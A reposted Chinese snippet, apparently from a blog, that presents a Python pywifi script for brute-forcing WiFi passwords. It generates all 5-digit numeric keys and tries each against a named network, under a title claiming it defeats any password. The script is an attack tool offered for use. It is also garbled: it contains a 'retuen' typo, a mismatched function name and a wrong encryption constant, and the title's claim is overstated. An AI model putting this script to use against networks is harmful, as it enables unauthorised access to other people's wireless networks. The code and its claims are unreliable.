轉自:Python最新暴力破解WiFi,攻破所有密碼限制,最強破解!
import time import pywifi import itertools as its from pywifi import const def wificonnect(pwd): #抓取網卡接口 wifi = pywifi.PyWiFi() #獲取第一個無線網卡 ifaces = wifi.interfaces()[0] #斷開所有連接 ifaces.disconnect() time.sleep(1) wifistatus = ifaces.status() if wifistatus == const.IFACE_DISCONNECTED: #創建wifi連接文件 profile = pywifi.Profile() #要連接wifi的名稱 profile.ssid = 'jiayi' #網卡的開放狀態 profile.auth = const.AUTH_ALG_OPEN #wifi加密算法,一般為WPA2 PSK profile.akm.append(const.CIPHER_TYPE_CCMP) #調用密碼 profile.key = pwd #刪除所有連接過的wifi文件 ifaces.remove_all_network_profiles() #設定新的連接文件 tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) #wifi連接時間 time.sleep(3) if ifaces.status() == const.IFACE_CONNECTED: retuen True else: return False else: print('已有wifi連接') def readPassword(path): print('開始破解:') #密碼本路徑 file = open(path, 'r') while True: try: pad = file.readline() conn = wifiConnect(pad) if conn: print('', pad) print() break else: #跳出當前循環,進行下次循環 print('密碼破解中...密碼校對:',pad) except: continue file.close() words = '1234567890' path = './password.txt' #生成密碼本位數 r = its.product(words, repeat=5) fp = open(path, 'a') for i in r: fp.write(''.join(i)+'\n') fp.close() readPassword(path)